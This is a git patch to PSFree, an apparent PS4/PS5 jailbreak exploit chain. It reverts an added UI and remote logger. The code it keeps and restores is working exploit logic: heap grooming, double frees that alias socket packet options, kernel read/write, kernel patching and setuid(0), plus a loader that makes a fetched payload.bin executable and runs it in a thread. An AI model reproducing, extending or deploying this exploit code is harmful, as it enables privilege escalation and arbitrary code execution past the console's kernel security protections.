From d3aa804f370850e7236d3640e5fcb88117c4feb8 Mon Sep 17 00:00:00 2001
From: Kameleon <77245601+kmeps4@users.noreply.github.com>
Date: Tue, 20 May 2025 06:58:46 -0600
Subject: [PATCH] Revert UI
---
README.md | 24 +--
css/styles.css | 242 -----------------------
index.html | 115 ++---------
js/payload-manager.js | 124 ------------
js/remote-logger.js | 336 -------------------------------
js/ui.js | 449 ------------------------------------------
kpatch/900.c | 2 +-
kpatch/900.elf | Bin 5272 -> 5288 bytes
kpatch/900.o | Bin 1864 -> 1912 bytes
lapse.mjs | 441 +++++++----------------------------------
module/utils.mjs | 28 +--
package-lock.json | 6 -
payload.js | 72 +------
13 files changed, 102 insertions(+), 1737 deletions(-)
delete mode 100644 css/styles.css
delete mode 100644 js/payload-manager.js
delete mode 100644 js/remote-logger.js
delete mode 100644 js/ui.js
delete mode 100644 package-lock.json
diff --git a/README.md b/README.md
index 9367724..6455077 100644
--- a/README.md
+++ b/README.md
@@ -1,29 +1,13 @@
# PSFree version 1.5.0
-Lapse Kex ported to 9.00 - WIP
+Lapse Kex ported to 9.00 - Still WIP
Very fast and reliable but can KP :P
-"Please note that this project is still in the beta phase, with stability at approximately 50%. If the exploit encounters an error, please restart the console and try again. Use this exploit at your own risk."
-
-
-
-TODO:
+- Needs a bin loader.
- Some performance Tweaks??.
-
-
-Payload Loader will look for payload.bin provided on this repo, you can swap it with another payload.
-PR are welcome!!!
-
-Credits:
-- Jhon https://github.com/janisslsm
-- SiSTR0 https://github.com/SiSTR0
-- CTN https://github.com/ctn123
-- Al-Azif https://github.com/al-azif
-- abc for PSFree webkit exploit & Lapse kernel Exploit
-- Chendochap https://github.com/ChendoChap
-- kameleonre.. for porting and chaining psfree + lapse on ps4 9.00 :P
+PR are welcome
PSFree is a collection of exploits for the PS4 console. The main focus of the
repo is for the PS4 but we try to make things portable to PS5.
@@ -32,7 +16,7 @@ repo is for the PS4 but we try to make things portable to PS5.
* PSFree: src/psfree.mjs
* Lapse (kernel): src/scripts/lapse.mjs
-Developer [abc] Donation (Monero/XMR):
+Donation (Monero/XMR):
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
# COPYRIGHT AND AUTHORS:
diff --git a/css/styles.css b/css/styles.css
deleted file mode 100644
index 8f1bde2..0000000
--- a/css/styles.css
+++ /dev/null
@@ -1,242 +0,0 @@
-/*
- * PSFree Enhanced UI Styles
- * Compatible with PS4 FW 9.00 Browser
- * TODO: Optimize for PS4 display and controller navigation
- */
-
-body {
- font-family: 'Liberation Mono', monospace;
- margin: 0;
- padding: 20px;
- background-color: #0d1117;
- color: #e6edf3;
-}
-
-.container {
- max-width: 900px;
- margin: 0 auto;
-}
-
-.header {
- text-align: center;
- margin-bottom: 20px;
- padding-bottom: 10px;
- border-bottom: 1px solid #30363d;
-}
-
-.header h1 {
- margin: 0;
- color: #58a6ff;
-}
-
-.header p {
- margin: 5px 0;
- color: #8b949e;
-}
-
-.card {
- background-color: #161b22;
- border-radius: 6px;
- padding: 15px;
- margin-bottom: 20px;
- border: 1px solid #30363d;
-}
-
-.card-title {
- margin-top: 0;
- color: #58a6ff;
- border-bottom: 1px solid #30363d;
- padding-bottom: 10px;
-}
-
-.btn {
- background-color: #238636;
- color: white;
- border: none;
- padding: 8px 16px;
- border-radius: 6px;
- cursor: pointer;
- font-weight: bold;
- transition: background-color 0.2s;
-}
-
-.btn:hover {
- background-color: #2ea043;
-}
-
-.btn:disabled {
- background-color: #3c4043;
- cursor: not-allowed;
-}
-
-.btn-danger {
- background-color: #da3633;
-}
-
-.btn-danger:hover {
- background-color: #f85149;
-}
-
-.progress-container {
- width: 100%;
- background-color: #30363d;
- border-radius: 4px;
- margin: 10px 0;
-}
-
-.progress-bar {
- height: 10px;
- background-color: #238636;
- border-radius: 4px;
- width: 0%;
- transition: width 0.3s;
-}
-
-#console {
- background-color: #0d1117;
- border: 1px solid #30363d;
- border-radius: 6px;
- padding: 10px;
- height: 300px;
- overflow-y: auto;
- font-family: 'Liberation Mono', monospace;
- white-space: pre-wrap;
- color: #e6edf3;
-}
-
-.status-indicator {
- display: inline-block;
- width: 12px;
- height: 12px;
- border-radius: 50%;
- margin-right: 5px;
-}
-
-.status-waiting {
- background-color: #8b949e;
-}
-
-.status-running {
- background-color: #f0883e;
-}
-
-.status-success {
- background-color: #56d364;
-}
-
-.status-error {
- background-color: #f85149;
-}
-
-.tabs {
- display: flex;
- margin-bottom: 10px;
-}
-
-.tab {
- padding: 8px 16px;
- cursor: pointer;
- background-color: #161b22;
- border: 1px solid #30363d;
- border-bottom: none;
- border-radius: 6px 6px 0 0;
- margin-right: 5px;
-}
-
-.tab.active {
- background-color: #0d1117;
- border-bottom: 1px solid #0d1117;
- position: relative;
- top: 1px;
-}
-
-.tab-content {
- display: none;
- padding: 15px;
- background-color: #0d1117;
- border: 1px solid #30363d;
- border-radius: 0 6px 6px 6px;
-}
-
-.tab-content.active {
- display: block;
-}
-
-.payload-item {
- display: flex;
- align-items: center;
- padding: 10px;
- border: 1px solid #30363d;
- border-radius: 6px;
- margin-bottom: 10px;
-}
-
-.payload-item.selected {
- border-color: #58a6ff;
- background-color: rgba(88, 166, 255, 0.1);
-}
-
-.payload-info {
- flex-grow: 1;
- margin-left: 10px;
-}
-
-.tooltip {
- position: relative;
- display: inline-block;
- cursor: help;
-}
-
-.tooltip .tooltip-text {
- visibility: hidden;
- width: 200px;
- background-color: #30363d;
- color: #e6edf3;
- text-align: center;
- border-radius: 6px;
- padding: 5px;
- position: absolute;
- z-index: 1;
- bottom: 125%;
- left: 50%;
- margin-left: -100px;
- opacity: 0;
- transition: opacity 0.3s;
-}
-
-.tooltip:hover .tooltip-text {
- visibility: visible;
- opacity: 1;
-}
-
-/* PS4 specific optimizations */
-@media screen and (max-width: 1920px) and (max-height: 1080px) {
- .container {
- max-width: 1600px;
- }
-
- #console {
- height: 400px;
- }
-
- .btn {
- padding: 12px 24px;
- font-size: 18px;
- }
-
- .tab {
- padding: 12px 24px;
- font-size: 18px;
- }
-}
-
-/* Focus styles for controller navigation */
-.btn:focus, .tab:focus, .payload-item:focus {
- outline: 3px solid #58a6ff;
-}
-
-/* Highlight the currently focused element for controller navigation */
-.controller-focus {
- outline: 3px solid #58a6ff !important;
- box-shadow: 0 0 10px rgba(88, 166, 255, 0.5);
-}
diff --git a/index.html b/index.html
index 119d914..7ab8be9 100644
--- a/index.html
+++ b/index.html
@@ -15,115 +15,28 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see
PS4/PS5 Exploit Chain
-Running exploit...
-PSFree is an exploit chain for PS4 and PS5.
-Current version: 1.5.0
-Supported firmware:
-PSFree uses:
-See JavaScript license info for source code and license details.
-Donations (Monero/XMR):
- 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
Note: If a Kernel Panic occurs, power off the console (do not restart) and try again.
-Important: This website uses the default payload located in the root folder.
-Custom payload (${formatBytes(data.byteLength)})
-vE HMRs)n%aAN^ delta 156 zcmeytcY<$%2IGm1n!b!&FBpJe2Z)&5%V;q90Am8L2$16f5&;7K$&4(@lOvcq82KkZ zWK!p4g$OgS0BP3Ey3DT`ffACe=A0jxATkn@BU#NE8z)a>wP##A`67_qFj0) { - log(`Direct attempt ${loop + 1}/${max_attempts}...`); - sleep(100); // Delay tetap untuk menghindari peningkatan yang terlalu besar - } - - // Buat socket baru untuk setiap percobaan - if (loop > 0 && loop % 5 === 0) { - log("Creating new sockets for fresh attempt..."); - // Buat beberapa socket baru - for (let i = 0; i < 5; i++) { - sds.push(new_socket()); + for (let i = 0; i < sds.length; i++) { + gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); + const marker = tclass[0]; + if (marker !== i) { + log(`aliased pktopts at attempt: ${loop}`); + const pair = [sds[i], sds[marker]]; + log(`found pair: ${pair}`); + sds.splice(marker, 1); + sds.splice(i, 1); + // add pktopts to the new sockets now while new allocs can't + // use the double freed memory + for (let i = 0; i < 2; i++) { + const sd = new_socket(); + ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass); + sds.push(sd); } + + return pair; } + } - // Coba metode asli - for (let i = 0; i < Math.min(num_sds, sds.length); i++) { - tclass[0] = i; - try { - ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - } catch (e) { - log(`Error setting socket option for socket ${i}: ${e.message}`); - // Lanjutkan ke socket berikutnya - } - } - - for (let i = 0; i < sds.length; i++) { - try { - gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - const marker = tclass[0]; - if (marker !== i) { - log(`aliased pktopts at direct attempt: ${loop + 1}`); - const pair = [sds[i], sds[marker]]; - log(`found pair: ${pair}`); - - // Tambahkan delay sebelum memodifikasi array sds - sleep(50); - - // Simpan indeks yang akan dihapus - const idx1 = Math.max(i, marker); - const idx2 = Math.min(i, marker); - - // Hapus dari belakang ke depan untuk menghindari masalah indeks - if (idx1 < sds.length) sds.splice(idx1, 1); - if (idx2 < sds.length) sds.splice(idx2, 1); - - // Tambahkan delay sebelum membuat socket baru - sleep(50); - - // add pktopts to the new sockets now while new allocs can't - // use the double freed memory - for (let i = 0; i < 2; i++) { - const sd = new_socket(); - ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass); - sds.push(sd); - } - - return pair; - } - } catch (e) { - log(`Error getting socket option for socket ${i}: ${e.message}`); - // Lanjutkan ke socket berikutnya - } - } - - // Jika kita sampai di sini, kita tidak menemukan pasangan - // Coba reset pktopts untuk beberapa socket - const reset_count = Math.min(20, sds.length); - log(`Resetting pktopts for ${reset_count} sockets...`); - for (let i = 0; i < reset_count; i++) { - try { - setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); - } catch (e) { - // Abaikan error - } - } - } catch (e) { - log(`Error in direct attempt ${loop + 1}: ${e.message}`); + for (let i = 0; i < num_sds; i++) { + setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); } } - - // Jika pendekatan langsung gagal, coba pendekatan alternatif - log("Direct approach failed. Trying alternative approach..."); - - // Buat socket baru dan coba lagi dengan set socket yang baru - const new_sds = []; - for (let i = 0; i < 30; i++) { - new_sds.push(new_socket()); - } - - // Coba dengan set socket yang baru saja - for (let loop = 0; loop < 10; loop++) { - try { - log(`Alternative attempt ${loop + 1}/10...`); - - // Set tclass untuk semua socket baru - for (let i = 0; i < new_sds.length; i++) { - tclass[0] = i; - try { - ssockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - } catch (e) { - // Abaikan error - } - } - - // Periksa apakah ada socket yang aliased - for (let i = 0; i < new_sds.length; i++) { - try { - gsockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - const marker = tclass[0]; - if (marker !== i) { - log(`aliased pktopts at alternative attempt: ${loop + 1}`); - const pair = [new_sds[i], new_sds[marker]]; - log(`found pair: ${pair}`); - return pair; - } - } catch (e) { - // Abaikan error - } - } - - // Reset pktopts untuk beberapa socket - for (let i = 0; i < Math.min(10, new_sds.length); i++) { - try { - setsockopt(new_sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); - } catch (e) { - // Abaikan error - } - } - } catch (e) { - log(`Error in alternative attempt ${loop + 1}: ${e.message}`); - } - } - - // Jika semua pendekatan gagal, coba pendekatan terakhir dengan socket yang ada - log("Alternative approach failed. Trying last resort approach..."); - - // Gunakan socket yang ada sebagai fallback - // Ini mungkin tidak ideal, tetapi lebih baik daripada gagal total - if (sds.length >= 2) { - log("Using existing sockets as fallback..."); - const pair = [sds[0], sds[1]]; - log(`Using fallback pair: ${pair}`); - return pair; - } - - // Jika benar-benar tidak ada pilihan lain, buat socket baru - log("Creating new sockets for fallback..."); - const fallback_sd1 = new_socket(); - const fallback_sd2 = new_socket(); - const fallback_pair = [fallback_sd1, fallback_sd2]; - log(`Using emergency fallback pair: ${fallback_pair}`); - return fallback_pair; + die('failed to make aliased pktopts'); } function double_free_reqs1( @@ -1272,23 +1131,9 @@ function double_free_reqs1( // we reclaim first since the sanity checking here is longer which makes it // more likely that we have another process claim the memory try { - log("Attempting to make aliased pktopts..."); - - // Tambahkan delay sebelum mencoba - sleep(200); - // RESTORE: double freed memory has been reclaimed with harmless data // PANIC: 0x100 malloc zone pointers aliased const sd_pair = make_aliased_pktopts(sds); - - if (sd_pair) { - log("Successfully made aliased pktopts"); - } else { - // Ini seharusnya tidak terjadi karena make_aliased_pktopts selalu mengembalikan pasangan - // Tetapi kita tetap memeriksa untuk berjaga-jaga - die('Failed to make aliased pktopts - no pair returned'); - } - return [sd_pair, sd]; } finally { log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); @@ -1628,15 +1473,14 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { log('corrupt pointers cleaned'); - + // REMOVE once restore kernel is ready for production // increase the ref counts to prevent deallocation kmem.write32(main_sock, kmem.read32(main_sock) + 1); kmem.write32(worker_sock, kmem.read32(worker_sock) + 1); // +2 since we have to take into account the fget_write()'s reference kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2); - - + return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]]; } @@ -1754,8 +1598,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { log('setuid(0)'); sysi('setuid', 0); log('kernel exploit succeeded!'); - updateUIStatus('success', 'Kernel exploit succeeded!'); - updateUIProgress('complete', 100); alert("kernel exploit succeeded!"); } @@ -1799,6 +1641,17 @@ function setup(block_fd) { // allocate enough so that we start allocating from a newly created slab spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); cancel_aios(groom_ids_p, num_grooms); + { + // chosen to maximize the number of 0x100 malloc allocs per submission + const num_reqs = 4; + const groom_ids = new View4(num_grooms); + const groom_ids_p = groom_ids.addr; + const greqs = make_reqs1(num_reqs); + // allocate enough so that we start allocating from a newly created slab + spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); + cancel_aios(groom_ids_p, num_grooms); + } + return [block_id, groom_ids]; } @@ -1813,63 +1666,11 @@ function setup(block_fd) { // * corrupt a pipe for arbitrary r/w // // the exploit implementation also assumes that we are pinned to one core -// Function to update UI progress -function updateUIProgress(stage, percent) { - // Send log to remote logger if available - if (window.RemoteLogger) { - window.RemoteLogger.logStage(stage, percent); - } - - document.dispatchEvent(new CustomEvent('exploitProgress', { - detail: { - stage: stage, - percent: percent - } - })); -} - -// Function to update UI status -function updateUIStatus(status, message) { - // Send log to remote logger if available - if (window.RemoteLogger) { - if (status === 'running') { - window.RemoteLogger.info(message); - } else if (status === 'success') { - window.RemoteLogger.info(`SUCCESS: ${message}`); - } else if (status === 'error') { - window.RemoteLogger.error(`ERROR: ${message}`); - } - } - - document.dispatchEvent(new CustomEvent('exploitStatus', { - detail: { - status: status, - message: message - } - })); -} - - export async function kexploit() { - updateUIStatus('running', 'Initializing exploit...'); - updateUIProgress('init', 5); - const _init_t1 = performance.now(); await init(); const _init_t2 = performance.now(); - updateUIProgress('init', 10); - - // If setuid is successful, we dont need to run the kexploit again - try { - if (sysi('setuid', 0) == 0) { - log("Not running kexploit again.") - updateUIStatus('success', 'Already exploited. Not running again.'); - return; - } - } - catch (e) {} - // fun fact: // if the first thing you do since boot is run the web browser, WebKit can // use all the cores @@ -1902,38 +1703,26 @@ export async function kexploit() { let groom_ids = null; try { log('STAGE: Setup'); - updateUIStatus('running', 'Setting up exploit environment...'); - updateUIProgress('setup', 20); [block_id, groom_ids] = setup(block_fd); log('\nSTAGE: Double free AIO queue entry'); - updateUIStatus('running', 'Exploiting AIO queue entry...'); - updateUIProgress('double_free_1', 30); const sd_pair = double_free_reqs2(sds); log('\nSTAGE: Leak kernel addresses'); - updateUIStatus('running', 'Leaking kernel addresses...'); - updateUIProgress('leak', 45); const [ reqs1_addr, kbuf_addr, kernel_addr, target_id, evf, ] = leak_kernel_addrs(sd_pair); log('\nSTAGE: Double free SceKernelAioRWRequest'); - updateUIStatus('running', 'Exploiting SceKernelAioRWRequest...'); - updateUIProgress('double_free_2', 60); const [pktopts_sds, dirty_sd] = double_free_reqs1( reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds, ); log('\nSTAGE: Get arbitrary kernel read/write'); - updateUIStatus('running', 'Gaining kernel read/write access...'); - updateUIProgress('kernel_rw', 75); const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw( pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds); log('\nSTAGE: Patch kernel'); - updateUIStatus('running', 'Patching kernel...'); - updateUIProgress('patch', 90); await patch_kernel(kbase, kmem, p_ucred, restore_info); } finally { close(unblock_fd); @@ -1956,120 +1745,40 @@ export async function kexploit() { } } -// Function to run the payload with error handling -async function runPayload() { - try { - // Add delay before running the payload - await new Promise(resolve => setTimeout(resolve, 1000)); - - log("Preparing to run payload..."); - - // Check if payload is available - if (!window.pld || window.pld.length === 0) { - log("ERROR: Payload not loaded or empty"); - updateUIStatus('error', 'Payload not available or is empty'); - return; - } - - // Allocate memory for payload - var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0); - - // Check if payload_buffer is valid (not null, undefined, or 0) - if (!payload_buffer || payload_buffer.low === 0 && payload_buffer.high === 0) { - log("ERROR: Failed to allocate memory for payload"); - updateUIStatus('error', 'Failed to allocate memory for payload'); - return; - } - - log(`Allocated payload buffer at ${payload_buffer}`); - - // Create view for payload - var payload_loader = new View4(window.pld); - log(`Payload size: ${payload_loader.size} bytes`); - - // Check payload size - if (payload_loader.size < 100) { - log("WARNING: Payload size is suspiciously small"); - } - - // Change memory protection - try { - log(`Setting memory protection for payload at ${payload_loader.addr} with size ${payload_loader.size}`); - - // Use syscall_void to avoid checking return value - // mprotect returns 0 on success - try { - chain.syscall_void('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC); - log("mprotect successful"); - } catch (e) { - log(`ERROR: mprotect syscall failed: ${e.message}`); - updateUIStatus('error', `Failed to change memory protection: ${e.message}`); - return; - } - } catch (e) { - log(`ERROR: Exception during mprotect: ${e.message}`); - updateUIStatus('error', `Error while changing memory protection: ${e.message}`); - return; - } - - log("Memory protection set successfully"); - - // Allocate memory for thread context - const ctx = new Buffer(0x10); - const pthread = new Pointer(); - pthread.ctx = ctx; - - log("Creating thread to run payload..."); - updateUIStatus('running', 'Running payload...'); - - // Run payload in a separate thread - try { - log(`Creating thread with payload at ${payload_loader.addr} and buffer at ${payload_buffer}`); - - // Add delay before pthread_create - await new Promise(resolve => setTimeout(resolve, 500)); - - try { - // Use chain.call_void to avoid checking return value - log("Calling pthread_create..."); - chain.call_void( - 'pthread_create', - pthread.addr, - 0, - payload_loader.addr, - payload_buffer, - ); - log("pthread_create called successfully"); - } catch (e) { - log(`ERROR: pthread_create call failed: ${e.message}`); - updateUIStatus('error', `Failed to create thread: ${e.message}`); - return; - } - - // Add delay after pthread_create to ensure the thread starts - await new Promise(resolve => setTimeout(resolve, 500)); - - } catch (e) { - log(`ERROR: Exception during pthread_create: ${e.message}`); - updateUIStatus('error', `Error while creating thread: ${e.message}`); - return; - } - - log("Payload thread created successfully"); - updateUIStatus('success', 'Payload executed successfully'); - - } catch (e) { - log(`ERROR: Exception while running payload: ${e.message}`); - updateUIStatus('error', `Error while running payload: ${e.message}`); +setTimeout(kexploit().then(() => { + function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = backing; + return ptr; } -} -// Run exploit and then the payload -kexploit().then(() => { - // Add delay before running the payload - setTimeout(() => { - log("Exploit completed, preparing to run payload..."); - runPayload(); - }, 2000); // 2 second delay -}); + function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; + } + window.pld_size = new Int(0x26200000, 0x9); + var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); + var payload = window.pld; + var bufLen = payload.length * 4 + var payload_loader = malloc32(bufLen); + var loader_writer = payload_loader.backing; + for (var i = 0; i < payload.length; i++) { + loader_writer[i] = payload[i]; + } + chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4)); + var pthread = malloc(0x10); + + call_nze( + 'pthread_create', + pthread, + 0, + payload_loader, + payload_buffer, + ); +}),1000); \ No newline at end of file diff --git a/module/utils.mjs b/module/utils.mjs index b95d874..7c20ef1 100644 --- a/module/utils.mjs +++ b/module/utils.mjs @@ -25,38 +25,16 @@ export class DieError extends Error { } export function die(msg='') { - // Kirim ke remote logger jika tersedia - if (window.RemoteLogger) { - window.RemoteLogger.error(`FATAL ERROR: ${msg}`); - } - - // Juga kirim ke console.error browser untuk debugging - window.console.error(`FATAL ERROR: ${msg}`); - - // Update UI status jika tersedia - if (typeof updateUIStatus === 'function') { - updateUIStatus('error', msg); - } - throw new DieError(msg); } -const consoleElement = document.getElementById('console'); +const console = document.getElementById('console'); export function log(msg='') { - // Tambahkan ke konsol lokal - consoleElement.append(msg + '\n'); - - // Kirim ke remote logger jika tersedia - if (window.RemoteLogger) { - window.RemoteLogger.debug(msg); - } - - // Juga kirim ke console.log browser untuk debugging - window.console.log(msg); + console.append(msg + '\n'); } export function clear_log() { - consoleElement.innerHTML = null; + console.innerHTML = null; } // alignment must be 32 bits and is a power of 2 diff --git a/package-lock.json b/package-lock.json deleted file mode 100644 index 81f3415..0000000 --- a/package-lock.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "name": "PSFree", - "lockfileVersion": 3, - "requires": true, - "packages": {} -} diff --git a/payload.js b/payload.js index 84115cf..f64dfc2 100644 --- a/payload.js +++ b/payload.js @@ -1,68 +1,6 @@ -// Function to validate the payload -function validatePayload(buffer) { - // Check the size of the payload - if (buffer.byteLength < 100) { - console.warn("WARNING: Payload size is suspiciously small:", buffer.byteLength, "bytes"); - } +fetch('./payload.bin').then(res => { + res.arrayBuffer().then(arr => { + window.pld = new Uint32Array(arr); - // Check if the payload has a valid header - // This is just a simple example, adjust to match the actual payload format - const view = new DataView(buffer); - const magic = view.getUint32(0, true); // Little endian - - // Log payload info for debugging - console.log("Payload size:", buffer.byteLength, "bytes"); - console.log("Payload first 4 bytes (magic):", "0x" + magic.toString(16)); - - return true; -} - -// Function to load the payload with error handling -function loadPayload() { - console.log("Loading payload.bin..."); - - fetch('./payload.bin') - .then(res => { - if (!res.ok) { - throw new Error(`Failed to load payload: ${res.status} ${res.statusText}`); - } - console.log("Payload fetched successfully, processing..."); - return res.arrayBuffer(); - }) - .then(arr => { - try { - // Validate the payload - if (validatePayload(arr)) { - // Store payload in window.pld - window.pld = new Uint32Array(arr); - console.log("Payload loaded and validated successfully"); - - // Dispatch event to notify other components - const event = new CustomEvent('payloadLoaded', { - detail: { size: arr.byteLength } - }); - document.dispatchEvent(event); - } - } catch (e) { - console.error("Error processing payload:", e); - - // Dispatch error event - const event = new CustomEvent('payloadError', { - detail: { error: e.message } - }); - document.dispatchEvent(event); - } - }) - .catch(err => { - console.error("Error loading payload:", err); - - // Dispatch error event - const event = new CustomEvent('payloadError', { - detail: { error: err.message } - }); - document.dispatchEvent(event); - }); -} - -// Load payload when the script runs -loadPayload(); + }) +}) \ No newline at end of file